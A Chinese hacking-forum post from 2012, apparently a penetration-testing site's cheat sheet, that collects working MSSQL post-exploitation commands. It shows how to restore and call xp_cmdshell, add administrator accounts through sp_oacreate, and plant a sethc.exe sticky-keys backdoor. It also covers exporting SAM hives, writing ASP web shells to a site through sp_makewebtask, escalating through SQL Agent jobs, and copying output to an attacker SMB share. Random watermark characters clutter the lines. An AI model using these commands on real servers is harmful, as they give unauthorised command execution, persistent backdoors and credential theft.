中国网络渗透测试联盟

标题: XP_CMDSHELL恢复方法大全 [打印本页]

作者: admin    时间: 2012-9-15 14:37
标题: XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号# W% R2 S- s+ f/ J: `
恢复方法:查询分离器连接后,) W  U0 C  x/ w: g' a0 i
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int ) W8 |% b" z* ^/ H9 T9 n' i' m
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
0 c, y. P$ T, t% b+ f  z然后按F5键命令执行完毕
' J) Z: F/ W9 F3 M2 Q6 w
, Q6 j* [1 \7 L2 [: N3 m; g2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)& V6 {3 A2 }, K6 K2 n! b% o
恢复方法:查询分离器连接后,  `% L6 y. j: F. L& z8 |
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
0 y/ ?% \0 x3 E1 P. e第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'5 U4 o9 h  t: ?( ^3 W. K
然后按F5键命令执行完毕
  [! B  ^7 K. `% v5 g! I0 k0 D7 w, h4 _( T+ ]: l7 y
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)+ n7 K: _: j: |8 X5 C$ s+ Q
恢复方法:查询分离器连接后,8 j2 |% |: [: d; c3 z3 |! w
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
2 ~% C8 r* K9 O& ^5 ?" b第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
$ \9 H0 W6 t$ A0 F4 M& u; `然后按F5键命令执行完毕
" R& \9 O  [6 [9 U) {; b9 F4 [0 j) R% Z' i# |) J0 N. v0 z
4 终极方法.* A2 X* X7 W7 E# |+ P- o% T
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
# I. Y3 i4 x9 }查询分离器连接后,' R5 w% m/ T4 J9 [1 [1 o
2000servser系统:
' v* i+ s# f7 Jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add': r' g  P( H' Z/ H

" Z) _  [# ]0 Q+ }- ?2 }declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'. t- D! y. K) M& W$ j- Z: u9 c
, Y: ~. J: |' E: L
xp或2003server系统:
5 n$ H/ U, y2 d/ }
8 G# K. M8 c! L5 Odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
" A2 p" A# _. X5 Z; x" |& x  ^8 a$ R, \
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add', \: @# W6 p7 O2 a! `8 G1 V
; e. J% W$ q! r1 U- |& Y; ^

4 Y- q  J) J+ i五个SHIFT" j: R6 e6 \( @- t2 @
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';& [  p( g; `) z

; O- X" I# T) Z" o8 Rdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 3 B! n( u0 T, K2 A9 Z9 R0 R
' r' X1 e% n$ b& i: _2 v& y
xp_cmdshell执行命令另一种方法
9 J8 P7 `) z- V7 b- Z/ M. t6 P- a: E+ mdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 0 f2 k- l( x- {0 D
% S7 W" N9 a! o4 M
判断存储扩展是否存在
0 K( I7 g. |9 \- Y1 Z# CSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'& |# b6 t  H* ?' s( G' `1 S
返回结果为1就OK
2 [" E, k1 Y& j0 P8 _% U" \3 q
# d. D1 ~! M+ e$ I6 W, \
# e' W. m4 a- w5 s: l上传xplog70.dll恢复xp_cmdshell语句:* R" b; I  h* t/ r% f; b
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'0 T) {8 f0 @; l4 z

* }# P5 o# b( ]否则上传xplog7.0.dll2 |* _) d& r4 Y$ E- p" K# P
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
' w5 C  ^; H, M. t1 o# S
0 H/ u7 N) _' G7 Z2 x
9 Q6 u( z. m4 |% ]# G6 Y* C" _, o: ~0 A  Y2 z
首先开启沙盘模式:6 o( M+ U  d# T5 L7 {' c9 D
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1# G( `# B9 I& s3 L% _. F$ x3 W

1 ]! n' u" }* t: p8 s* A然后利用jet.oledb执行系统命令
1 J3 v' u" i7 B' A9 ^select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')3 g2 M9 o; N) h0 F: b5 W
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了! k$ S- d! v' H, j! e- U

8 ^( Q/ G& U$ ~/ u8 _1 e0 G
' |" R+ I: Z- Q3 i& d' V3 Q3 j0 i" W% W; c
恢复过程sp_addextendedproc 如下: / \# Z! W9 p5 ]3 k% |8 H
create procedure sp_addextendedproc --- 1996/08/30 20:13 9 g% j' B2 D! @3 C$ M8 G( U
@functname nvarchar(517),/* (owner.)name of function to call */
- G9 M% F0 P- h* ^. a, j@dllname varchar(255)/* name of DLL containing function */ 5 M1 ]7 E1 A: b: Z
as
5 J0 A  f6 ~+ W  P7 cset implicit_transactions off & s( k6 r& y' f6 e
if @@trancount > 0 8 N: P- ?1 K% T( A
begin # R7 L( x7 ]; ^/ \" t
raiserror(15002,-1,-1,'sp_addextendedproc') 7 U! q1 k' X8 G+ y
return (1)
7 P3 V! H, [0 n: e( Tend 2 d* h7 G' O- X2 M9 R) a
dbcc addextendedproc( @functname, @dllname)
% l9 q9 P1 z) v* ^7 oreturn (0) -- sp_addextendedproc * X$ G2 Y8 b) @2 l$ ^6 D- H9 O
GO ! {* v3 i$ O8 H( y8 l% x
6 t6 |+ Y- C# P) i) K  v' B% O) j
7 E( N/ s* C! E6 d: D3 W
: G' o; g/ c+ N
导出管理员密码文件
9 ~( ]7 y0 U! g5 D4 rsa默认可以读sam键.应该。% {$ ^9 v* n6 h9 A
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
8 n: V1 g" E4 ^- V/ V. v$ xnet user administrator test! C$ p6 c! B3 c1 b
用administrator登陆.+ H" u# i; {( e5 l! B7 f" [/ c
用完机器后4 {6 `% N  x4 u: I5 D( r! |
reg import c:\test.reg
8 u* b# X& R4 w. p* z6 j) S根本不用克隆.
  E/ p( u/ v; c  C4 p1 M. E5 @找到对应的sid. 7 }5 b; u$ J9 i- ~, S! K. S
9 V* ~, U) e" f! C- `3 Z# M
& a% I" u: _: _9 G+ ~

2 K- X% p3 C. v恢复所有存储过程
6 |$ f/ o( n& y' }% Duse master
) u! O( R. _" d3 n$ p5 B( k0 Z' Iexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
* }  J0 B& H( k6 g' M+ Rexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 8 t* G3 _7 Q: m. g$ E6 t% n
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 9 t2 Y3 b$ S3 g' T: r
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
1 B+ B, c, |! o$ ]exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
8 R1 B/ P' @  a) x9 qexec sp_addextendedproc sp_OACreate,'odsole70.dll'   `/ P: d5 W1 @' }
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
2 b: \9 N) R# V: Q0 aexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' % y7 a4 \" p* J
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 1 \4 Z/ P: D. z. u! q
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' . m. r. z. l7 O% p. |
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 1 N" t$ D; ^2 N% F. \
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
& I6 a4 Z. Q- o0 `: s3 i7 rexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 9 o5 s% x* J: \% V! ~
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
; W& k) U" Z# G/ q5 N, \0 S# F: uexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' ! g7 B1 `3 B& K9 n
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 4 `. C0 b* x9 Z2 Q9 D5 I3 A( I
exec sp_addextendedproc xp_regread,'xpstar.dll'
) o7 T+ D9 @( q1 ?exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 5 U& L' S: ^/ g' h6 ], T) d
exec sp_addextendedproc xp_regwrite,'xpstar.dll' " ?5 R- G# A. G/ w; y
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
3 m8 c* J1 Z& Q% N. `( g  h7 R& q& ]: w( l4 y6 }  _; E; f( Y. q

- ^- [. `- M( n建立读文件的存储过程# r! j1 R4 T! U( j6 i
Create proc sp_readTextFile @filename sysname) }( c5 a! `6 I% F' u9 t) z
as. |+ G$ a7 W* Y0 e) N

. F+ B$ }' R' a    begin " z9 Z% ?6 f$ V7 h0 R! Y. M
    set nocount on 4 i: y" u( g4 n
    Create table #tempfile (line varchar(8000))
* Y% G6 O, \# j    exec ('bulk insert #tempfile from "' + @filename + '"')% y: Y, y  v7 o' }) A7 k2 s9 O# i3 A
    select * from #tempfile& D+ ^% k# R# T
    drop table #tempfile' B" r/ c# B# X- \9 L1 V. @, Y
End
7 B, f" E# s7 h5 F+ c5 i, v2 a: G; }, K0 V- f0 }
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
4 F7 Y' |6 s' O2 Q' c) P) d. U查看登录用户2 Q+ m2 t+ y4 i, x0 f
Select * from sysxlogins" @; X6 |* @0 Z/ E
5 k# R( C% A$ X& _, X( U" `
把文件内容读取到表中- T2 l: e" E; i0 K# z7 z& I
BULK INSERT tmp from "c:\test.txt"
0 }+ ~, V" _) Y' a: rdElete from 表名 清理表里的内容
- r: I: o/ r+ p. C! A) H+ i& Zcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
" }% H; A& y, D" j9 ]/ k
' u% V" ^; P8 F( V' w, b" V# g- b& {( j$ l, k7 E. B: E8 u. r
加sa用户
2 }* Z! Z; ^- ]6 Mexec master.dbo.sp_addlogin user,pass;; T4 N: b" J, j* ]
exec master.dbo.sp_addsrvrolemember user,sysadmin* |+ b, C& P+ B9 ]
+ [' J7 h% G, p6 Q3 b0 T: t
, {9 u8 W- m- \. q3 S% Q# F
  ?/ S# N( e  X% [+ h/ G$ [
读文件代码8 @- A9 h# P5 i; u6 _
declare @o int, @f int, @t int, @ret int' X, H3 ]/ c+ |4 l; N
declare @line varchar(8000)
3 S# j5 p4 u# Pexec sp_oacreate 'scripting.filesystemobject', @o out$ f* y0 @% Z9 F4 G6 m- J+ f
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1( }( M( S/ E; n& b
exec @ret = sp_oamethod @f, 'readline', @line out7 D" f7 k, m3 e; C6 P( D. ~
while( @ret = 0 )8 Y3 k9 C9 D' O' N% r9 }
begin
( S4 K. y6 G2 ?, \& Oprint @line* g/ t- Z2 B) @6 p8 W' q& S, C
exec @ret = sp_oamethod @f, 'readline', @line out
, N* W" ~- F  o! S7 \end5 ~4 M3 [6 ~; F1 ^  M8 j
: F: k# L' j! {/ p
2 j* W0 t& H: d, b8 g' O
写文件代码:- [4 F- }7 A3 [
declare @o int, @f int, @t int, @ret int4 x+ [- m! x/ @% L# x
exec sp_oacreate 'scripting.filesystemobject', @o out
' h. D( T9 X3 h$ d: L6 Bexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1- o8 {2 l( d8 z9 w" Y  H! h4 c
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
5 E* `: t$ v' T4 P. K  l: a/ P" `6 G, `# e0 K) y
! l7 L3 P3 i0 \4 \% ]  F3 l7 l
添加lake2 shell1 z# f" d& v& \2 H
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
* w- M0 y& l$ j; osp_dropextendedproc xp_lake2+ w, P: a$ A# X/ D
EXEC xp_lake2 'net user'+ J+ W, n! w) t* I, O. k, w

: ^- N1 h4 H- G- [- B9 L) m
% E0 W# C  `$ m4 e$ c" Q得到硬盘文件信息 ! u# A/ [& f% C1 _8 J9 q
--参数说明:目录名,目录深度,是否显示文件 7 d- u' g8 x' Y8 w
execute master..xp_dirtree 'c:'
) [% e* P% A6 h) Dexecute master..xp_dirtree 'c:',1 0 d$ B% m4 s$ B5 d1 g: K6 e. C  f
execute master..xp_dirtree 'c:',1,1
& g$ B( j1 b' g' e$ c& z- _2 ?+ H0 D/ n0 B7 r
: s/ ]7 S0 U. O# O
读serv-u配置信息
6 X2 x$ Y* i: oexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'6 N* {6 o' T; E2 t& v: _
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
* ?" g9 h" d5 \5 ?: h, w, l4 |1 Z' k
' j+ i! Y" {1 k9 U& A" Z' p5 |; w0 c通过xp_regwrite写SHIFT后门
/ |6 t/ q% c) y! h2 Fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--6 }% I  r. x3 G$ m  K) Z- D$ I
: i' f/ d3 n2 R( p+ |1 P' x
! y0 A/ a0 v; w" _+ @4 S
1 v1 u# g: M0 Q, _, P3 K: O
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
; a& E, J9 D, ^( y2 ?. n& I. N5 Oexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了: {; x% [7 p6 g% F" S: x
0 C& y6 L9 ?& }  ?! G" `7 J. M  q
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'! e8 e; \9 Z$ a
! s" ^" d. L  A- r& R+ d7 |7 R
5 ?; Q9 r7 \8 q- I% T" R6 \
( o3 n% z* a7 g) E4 c
sql server 2005下开启xp_cmdshell的办法
3 l$ @  W% B% [1 o( L2 T* X  C' G0 N9 u3 C; S! P8 L
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;8 g) Y  I1 N8 D$ {  Y+ }; E  x

; q2 T$ P4 B$ _1 R; MSQL2005开启'OPENROWSET'支持的方法:
- k: x  F! p9 k2 K, |) X
4 E- D1 ?5 R1 D* j8 Dexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;6 t5 J+ N  l* t  i

# g' n# f% u& f& TSQL2005开启'sp_oacreate'支持的方法:
; g5 i) T* d% H- p4 Y- @! O. N$ B# x, y- ?
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
1 z/ |4 R# r- E  V  j6 E
+ n9 V( b; M: x' Z( \
( I, N, w4 x' h0 t: p1 P* b( y+ j( Q

) ?' v7 Q% z9 h% H/ j+ F
. k' n) p* _, q- Z' u, a7 }7 u' V3 C( L& Z7 ~  A$ y1 e+ F0 I& H' H- e
: W" Q7 T- v  B1 `/ h
; D, \2 O# Z5 I
3 B5 i0 C9 ^+ ~$ n. n3 ^, P9 A+ f& q
) W: `/ V5 l( c1 G
9 O" S& z7 k2 c5 A+ M
1 v& y+ F) ?1 f) k" n6 [  H

% l) j# T0 w7 ~0 j% r& r6 `3 N* D+ F

* p3 p. ?6 P5 G4 u, `
! Z% {; K  n; O# E8 m3 A4 X+ X; e, l! O

: x: s% v' `( J- ^) I) O, N9 h2 l# T& ~: B4 S8 H8 m/ X) J
7 J) a% |8 m) x& S+ f

. ^* ]. t( F' s; d7 ^6 X3 n/ }% K6 K9 A- Z

/ Z8 N  D8 Z8 d' M! H2 g/ {) ?/ H6 ]4 q3 j/ W  D0 e$ f) y7 i
以下方面不知道能不能成功暂且留下研究哈:4 J6 Y% v: l% d9 R  u
4)
5 j: I; e  B- Y; U5 uuse msdb; --这儿不要是master哟- R/ N$ L. ^4 @5 l* A
exec sp_add_job @job_name= czy82 ;7 }9 }9 _4 p0 I- n/ q
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
  x% r/ X9 o, u) i! D  H5 G. u% O1 Uexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
, k1 e- ]  S" sexec sp_start_job @job_name= czy82 ;
$ b) S7 K. Z& d+ a$ |+ b/ d& ^) K4 F+ d7 ^2 P) A- X
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
! `+ d& Y  m; I) P  q$ ~执行tsql语句了.6 Y9 d2 `! M% e/ Y
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
9 X% [+ b9 F, Z; M第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)! J9 f  V2 y0 @! a$ O+ I3 z
net start SQLSERVERAGENT1 v/ V8 f6 z- K0 j5 B7 w
2 @1 ]7 b& m6 y9 p1 m/ ^
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的# s. Q; ^; C  n: ~3 c; d: h1 V/ ~# t
USE msdb
5 Y1 d; k% E5 v  uEXEC sp_add_job @job_name = GetSystemOnSQL ,/ `0 j0 l1 o% T- Q0 b: ]5 @. X
@enabled = 1,+ X9 U$ _7 L" K9 ~* P/ [3 |
@description = This will give a low privileged user access to8 d' n/ j( y5 G
xp_cmdshell ,$ x1 R, T* R- Z$ k) G# k
@delete_level = 1
  q  }# F  ~9 j" K0 d9 _+ g$ yEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
- `4 [: N9 z) |6 f8 |' {@step_name = Exec my sql ,
2 ]: E+ c, ?' E- _@subsystem = TSQL ,
$ C; D/ M9 g& W7 ]4 f9 b@command = exec master..xp_execresultset N select exec; O4 b  D* H, s5 D
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master # V2 e+ @1 _; U% u& o
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,2 b: [* n) \! Z
@server_name = 你的SQL的服务器名
" l" S7 e5 N$ Q" gEXEC sp_start_job @job_name = GetSystemOnSQL ; `* t0 l/ r3 `5 ~5 X
3 R! [# M! @. c
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
& N9 y9 t7 L0 E& _才让我们可以以public执行xp_cmdshell
1 {+ W9 X% H1 S$ u0 `0 [- r0 h9 P. b% u& M
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
- o, L6 e$ `% E. [2 F在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
0 _. w/ ]& j# C! j8 Q
% M3 A) J) }; j& ]4 S* [  f* hUSE msdb
* n1 @  r- P( Y9 L9 N6 Q# MEXEC sp_add_job @job_name = ArbitraryFilecreate ,
7 p- n6 }1 Z# Z) K@enabled = 1,# E, v: G" K9 y+ {
@description = This will create a file called c:\sqlafc123.txt ,+ I$ N0 E' y& G6 e
@delete_level = 1
9 \. y- a% p2 B2 V7 B* REXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
+ |% g$ @& d  l8 w3 \- _) v" T: {@step_name = SQLAFC ,1 }" r. p6 U( B2 D2 H  r9 L. h
@subsystem = TSQL ,6 z( q$ t  b) l
@command = select hello, this file was created by the SQL Agent. ,! U4 y8 h: h" t9 x% ]+ O1 v1 q/ \
@output_file_name = c:\sqlafc123.txt ' y0 j" Q5 k" T' K% S3 \4 f
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
3 Q5 F; ?, ]: K' @@server_name = SERVER_NAME
: O( T' b9 j  B+ b  \EXEC sp_start_job @job_name = ArbitraryFilecreate
% a: h/ d; n/ P4 \2 W/ u( N- c5 [! P# _0 a
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
. n5 C  S8 C# ?" }
( ]; b6 `3 G3 Z4 \+ S. M??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:193 `0 f. l# [" ^4 V
----------------------------------------------$ ~6 `* C( R  N- |) _
hello, this file was created by the SQL Agent.
& E- @; O4 R. X) i; G4 y; h% u$ T& g+ h& q
(1 ?????)
! ^7 P, I$ ~% }' \; T. N( e
4 o& I& m* V( x% ?7 f! S+ h所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
  g0 s! I  ]; _命令的vbs文件到启动目录!
6 f* @" N" L* _: }4 _; ^: S# \* N8 }4 w" M0 b
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
8 G* E4 G0 v  A" R& Z关于sp_MScopyscriptfile 看下面的例子2 F% w5 `' d) ^5 |
declare @command varchar(100) 1 w7 N/ G9 D. Q0 b0 E
declare @scripfile varchar(200)
5 U1 D6 r6 B% I* eset concat_null_yields_null off
) E' s: Y3 F: M  yselect @command= dir c:\ > "\\attackerip\share\dir.txt"
) ]3 g' o$ _. b  ^6 sselect @scripfile= c:\autoexec.bat > nul" | @command | rd " 8 [6 v/ ]2 i  {( ?' Y+ d; A
exec sp_MScopyscriptfile @scripfile , 7 w4 n) h" q+ t5 B( r
! x- r8 E6 F( ]0 @; J5 S* p/ d
这两个东东都还在测试试哟
( P9 C6 e( S6 K1 G  n让MSSQL的public用户得到一个本机的web shell: @' P+ x! \" w, W5 _8 S4 \8 g

$ o3 B7 M) l* e3 m$ _sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,5 D4 n7 l+ ~' M
--@query= select <img src=vbscript:msgbox(now())>
& D* C; |" o4 Y8 a  j% ?" K' x--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> * m2 V3 ^; ^4 `  m8 Y# ?7 _0 L2 X
@query= select 3 i1 {" g3 e: S6 z6 q! I; Z
<%On Error Resume Next
* @% @! J3 I1 h' b$ kSet oscript = Server.createObject("wscript.SHELL")
" k- C) H% U/ Y7 \Set oscriptNet = Server.createObject("wscript.NETWORK")
: Z+ x, {  H( X1 d1 J6 N4 ~Set oFileSys = Server.createObject("scripting.FileSystemObject")
" _( [8 z  i7 [' t/ Q) q% ?" XszCMD = Request.Form(".CMD")
$ e9 g; T! i, a% N( i4 QIf (szCMD <>"")Then
# t7 E" m/ E: {6 z! {! Y; a8 |; pszTempFile = "C:\" & oFileSys.GetTempName() 3 l3 l- t/ u" `" h3 T) N
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) $ j0 ~; {& ]/ W4 l, O& s: W2 O
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) : }8 o) }& i/ O6 N, o4 ^# x8 L
End If %> 8 \/ T/ e" I, s2 P' L
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> , s% p5 k) {5 p* j
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> . i* M/ X  R4 \3 \6 l
</FORM><RE>
8 n, z  u; Z4 a<% If (IsObject(oFile))Then 8 |2 a3 \/ x, i4 w7 n: R/ M2 k  l8 {
On Error Resume Next * Z) D8 Y6 i0 w) D, X
Response.Write Server.HTMLEncode(oFile.ReadAll)
3 I5 j6 X  S3 Y, WoFile.Close 5 f$ m3 T, A% j4 c# z% q
Call oFileSys.deleteFile(szTempFile, True)
) H2 n, [% X2 wEnd If%> 3 F* g" X1 d: `
</BODY></HTML> # `7 O3 x& `" v; D





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2